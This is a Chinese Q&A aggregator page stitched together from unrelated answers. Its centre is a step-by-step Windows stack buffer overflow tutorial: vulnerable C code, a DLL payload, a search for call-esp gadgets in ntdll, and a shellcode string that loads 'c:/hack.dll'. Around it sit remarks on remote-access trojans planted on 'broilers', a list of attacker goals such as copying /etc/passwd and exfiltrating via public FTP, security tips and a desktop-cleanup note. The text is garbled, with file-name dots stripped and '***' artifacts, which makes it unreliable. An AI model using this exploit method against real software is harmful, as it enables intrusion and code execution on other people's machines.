额?黑客只有一小部分人自己琢磨着编程序(例如小榕工作室,专门编黑客软件),大部分都是用现有软件,例如流光啦之类的,还有一些直接用黑客文件,例如‘黑洞’软件、‘灰鸽子’软件这些可以直接种植到肉鸡中的文件
上回说了,我们可以在一个有缓冲区溢出漏洞的程序中执行程序中其他的函数,当然,也可以执行程序中其他的指令。还是以上次讲过的程序为例:
程序A:
#include <stdioh>
#include <stringh>
void foo(const char input)
{
char buf[10];
strcpy(buf, input);
}
int main(int argc, char argv[])
{
foo("1234567890123456123456123456");
return 0;
}
启动VS 2005,然后将断点设在函数foo中strcpy的后面,断点执行到了以后,进入反汇编窗口,单步执行到该函数最后一行汇编指令,也就是ret指令,在内存窗口中查看寄存器esp保存的内存地址所存放的值,当然你的内存窗口的显示方式应该是4字节显示方式(x86或者说是32位机器上)。你可以看到该值也已经被foo的参数12345678那些字符串覆盖了,然后你可以看看esp的值和ebp的值刚好相差8个字节。就是说,内存中的形式是这样的:
ebp的值 esp的值
^ ^
| |
--------------------------------------
| |函数返回地址| |
---------------------------------------
而你再看看foo函数最后几个汇编指令:非常标准的函数退出时,所作的栈销毁 *** 作:
mov esp ebp
pop ebp
ret
在ret指令执行完成以后,esp的值就会是foo函数的ebp + 8。
如果我们在esp所指向的内存地址上存放我们的shell code(或者说是我们刻意编写的汇编代码),然后将函数返回地址更改为调用我们的shell code的地址,那么我们所编写的shell code也就会被执行,这时就可以干任何我们想干的事情了,;)。
下面是步骤:
1,编写一个dll,其实exe程序也可以,只不过方法略有不同,如果你是直接执行exe程序的话,可以使用WinExec。这里因为我要导入我编写的dll进入程序A,所以使用的WINAPI函数是LoadLibrary,LoadLibrary需要一个参数,指明要加载的dll的文件路径。
2 在我编写的dll中,处理的事情很简单,就是启动一个程序,呵呵,下面是源代码:
#include
"stdafxh"
#include <stdioh>
#include <windowsh>
#ifdef _MANAGED
#pragma managed(push, off)
#endif
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si,
sizeof(si) );
sicb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // 每次一个新的进程加载该dll的时候,触发这个条件
WinExec("C://WINDOWS//notepadexe", SW_SHOW);
break;
default:
break;
}
return TRUE;
}
#ifdef
_MANAGED
#pragma managed(pop)
#endif
3为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在你的代码里面加上下面这几行:
int main()
{
_asm {
jmp esp
}
}
将断点设置在main函数的开始处,执行程序,程序中断后,去反汇编,你会看到类似下面的代码:
00401763 FF E4 jmp esp
00401763是这段汇编码在程序中的地址,FF E4就是jmp esp对应的机器码了。呵呵,如果没有FF E4出现的话,在反汇编窗口中右键单击,选择“Show Byte Code”(VS 2005英文版)。
现在腰调用esp中的地址,可以是jmp esp也可以是call esp,但是这个代码必须是进程中已有的,OK,我们在程序中找到这个地址。再次运行程序A,在main函数中设置断点,中断后,选择Debug -- Window -- Module查看这个程序所有加载的dll(无论是动态的还是静态加载的)。程序A中不出意外的话应该有kernel32dll和ntdlldll,还有可能有msvcrt8dll。
我们找一下这些dll里面有没有对应的机器码,怎么找?怎么把一个dll反汇编?呵呵,VS 2005里面自己就带了一个反汇编工具:dumpbin,路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disasm就是将任何一个PE文件(DLL或EXE)反汇编
打开cmd窗口,执行dumpbin /disasm c:/windows/system32/kernel32dll | findstr /c:"FF E4",哦哦,没有。再试ntdlldll,还是没有。试一下call esp,它的机器吗是FF E5。kernel32dll里面没有,啊哈,ntdlldll里面有,这是搜索结果:
7C914393: FF E5 call esp
4编写shell code,调用LoadLibrary,需要知道LoadLibrary函数的地址,获取的办法是这样的:LoadLibrary是在kernel32dll中的,启动Dependsexe,Dependsexe包含在Windows SDK中,你也可以去网上搜一下,下载一个回来用,实在找不到,那我就牺牲一下自己啦。
随便用depends打开一个exe文件,在左上角的依赖树里面点击kernel32dll,在右边第二个窗口中找到LoadLibraryA这个函数,可以看到它的Entry Point是0x000445EF,如下:
E | Ordinal | Hint | Function | Entry Point
---------------------------------------------------------------------------------------------
754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF
*** 作系统不一样,值可能不一样,在最下面的窗口中找到kernel32dll的base address(Preferred Base)是0x77E00000,如下:
Module | 中间很多省略 | Preferred Base
-------------------------------------------------------------------------
Kernel32dll | | 0x77E000000
将Kernel32dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是:0x77E445EF。
5。最后编写汇编代码执行你的黑客程序:
_asm {
mov eax 0x77E445EF // 将LoadLibraryA的地址存在eax寄存器中
call L4
L2: call eax // 调用LoadLibraryA,程序执行到这段指令时LoadLibraryA的参数已经压栈
L3: jmp L3 // 循环,确保被黑的程序不会死掉
L4: call L2
}
6。最后,示例程序如下:
#include
<stdioh>
#include <stringh>
void func(char p)
{
char stack_temp[20];
strcpy(stack_temp, p);
printf(stack_temp);
}
void foo()
{
printf("This should not be called");
}
int main(int argc, char argv[])
{
func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"
"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址
"/xEB/x04" // call L4
"/xFF/xD0" // L2: call eax
"/xEB/xFE" // L3: jmp L3
"/xE8/xF7/xFF/xFF/xFF" // L4: call L2
"c://hackdll/0"); // LoadLibraryA的参数,也就是我们要刻意加载的dll文件
return 0;
}
完了,累死了
它的主要目的就是想要窃取学生们的个人隐私,若是想要防止此事再发生,此学校需要维护校园网络和师生个人信息的安全。
黑客组织攻击西工大,他们的目的何在?
根据媒体报道,西工大受到了黑客的攻击,这件事情引发了很多网友的热议。那么这些黑客的主要目的就是想要窃取学生们的个人隐私,然后进行出售,这样可以换取高昂的回报。
近几年来,此类事件层出不穷,黑客攻击西工大的学生还并没有这么严重。如果黑客攻击的是我党正机关还有科研院所或者是一些重要的行业领域的重要机密,这些机密被窃取之后会造成很大的影响,这些黑客也会达到窃取情况的目的。
该如何防止此事再发生?你有什么见解?
说是想要防止此类事情再次发生,那么当地学校就需要及时作出回应,不断的维护校园网络安全,这样才可以维护师生个人信息的安全。大家在让上网的时候,也需要及时启用防火墙,这样可以对电脑起到一定的保护作用,而且可以保护我们的隐私不被有心人所窃取。
为了避免被黑客攻击,我们在生活中需要注意什么?
大家在使用电脑的时候应该提高口令强度,比如说在开机设置密码的时候,应该采取英文大小写和特殊字符相结合的8位以上密码,这样黑客很难攻破。可以提高我们的隐私安全性,平时也不要浏览一些非法的网站,否则你的电脑会在不明所以之中被黑客窃取。
冲浪的时候一定要遵纪守法,远离非法网站,这样才可以避免变成黑客的囊中之物,也可以避免被他们窃取你的隐私!如果能够做到这几条,那么就可以避免被黑客攻击,也可以防止此类事件再次发生!
攻击目的
进程执行
攻击者在登上了目标主机后,或许只是运行了一些简单的程序,也可能这些程序是无伤大雅的,仅仅只是消耗了一些系统的CPU时间。
但是事情并不如此简单,我们都知道,有些程序只能在一种系统中运行,到了另一个系统将无法运行。一个特殊的例子就是一些扫描只能在UNIX系统中运行,在这种情况下,攻击者为了攻击的需要,往往就会找一个中间站点来运行所需要的程序,并且这样也可以避免暴露自己的真实目的所在。即使被发现了,也只能找到中间的站点地址。
获取数据
攻击者的目标就是系统中的重要数据,因此攻击者通过登上目标主机,或是使用网络监听进行攻击事实上,即使连入侵者都没有确定要于什么时,在一般情况下,他会将当前用户目录下的文件系统中的/etc/hosts或/etc/passwd复制回去。
获取权限
具有超级用户的权限,意味着可以做任何事情,这对入侵者无疑是一个莫大的诱惑。在UNIX系统中支持网络监听程序必需有这种权限,因此在一个局域网中,掌握了一台主机的超级用户权限,才可以说掌握了整个子网。
非法访问
有许多的系统是不允许其他的用户访问的,比如一个公司、组织的网络。因此,必须以一种非常的行为来得到访问的权力。这种攻击的目的并不一定要做什么,或许只是为访问面攻击。在一个有许多windows95
的用户网络中,常常有许多的用户把自己的目录共享出未,于是别人就可以从容地在这些计算机上浏览、寻找自己感兴趣的东西,或者删除更换文件。或许通过攻击来证明自己技术的行为才是我们想像中的黑客行径,毕竟,谁都不喜欢些专门搞破坏,或者给别人带来麻烦的入侵者。但是,这种非法访问的的黑客行为,人们也不喜欢的。
*** 作
有时候,用户被允许访问某些资源,但通常受到许多的限制。在一个UNIX系统中没有超级用户的权限,许多事情将无法做,于是有了一个普通的户头,总想得到一个更大权限。在windowsNT系统中一样,系统中隐藏的秘密太多了,人们总经不起诱惑。例如网关对一些站点的访问进行严格控制等。许多的用户都有意无意地去尝试尽量获取超出允许的一些权限,于是便寻找管理员在展示被黑客利用来攻击政府机构网站的电脑置中的漏洞,或者去找一些工具来突破系统的安全防线,例如,特洛伊木马就是一种使用多的手段。
拒绝服务
同上面的目的进行比较,拒绝服务便是一种有目的的破坏行为了。拒绝服务的方式很多,如将连接局域网的电缆接地;向域名服务器发送大量的无意义的请求,使得它无法完成从其他的主机来的名字解析请求;制造网络风暴,让网络中充斥大量的封包,占据网络的带宽,延缓网络的传输。
涂改信息
涂改信息包括对重要文件的修改、更换,删除,是一种很恶劣的攻击行为。不真实的或者错误的信息都将对用户造成很大的损失。
暴露信息
入侵的站点有许多重要的信息和数据可以用。攻击者若使用一些系统工具往往会被系统记录下来如果直接发给自己的站点也会暴露自己的身份和地址,于是窃取信息时,攻击者往往将这些信息和数据送到一个公开的FTP站点,或者利用电子邮件寄往一个可以拿到的地方,等以后再从这些地方取走。
这样做可以很好隐藏自己。将这些重要的信息发往公开的站点造成了信息的扩散,由于那些公开的站点常常会有许多人访问,其他的用户完全有可能得到这些情息,并再次扩散出去。
雷简单,你在桌面上空白处用点击右键,会出现一个菜单,在刷新上面的那个排列图标,把鼠标放在上面,会又出现菜单,最下方有一个运行桌面清理,点一下就会出现那个程序,按提示 *** 作就可以了,如果你最近安装了一些小游戏,就把他删了吧,这就是他搞的鬼,,,
以上就是关于电脑黑客如何编写程序全部的内容,包括:电脑黑客如何编写程序、如何利用缓冲区溢出的程序错误来运行黑客程序、黑客组织攻击西工大,他们的目的何在该如何防止此事再发生等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)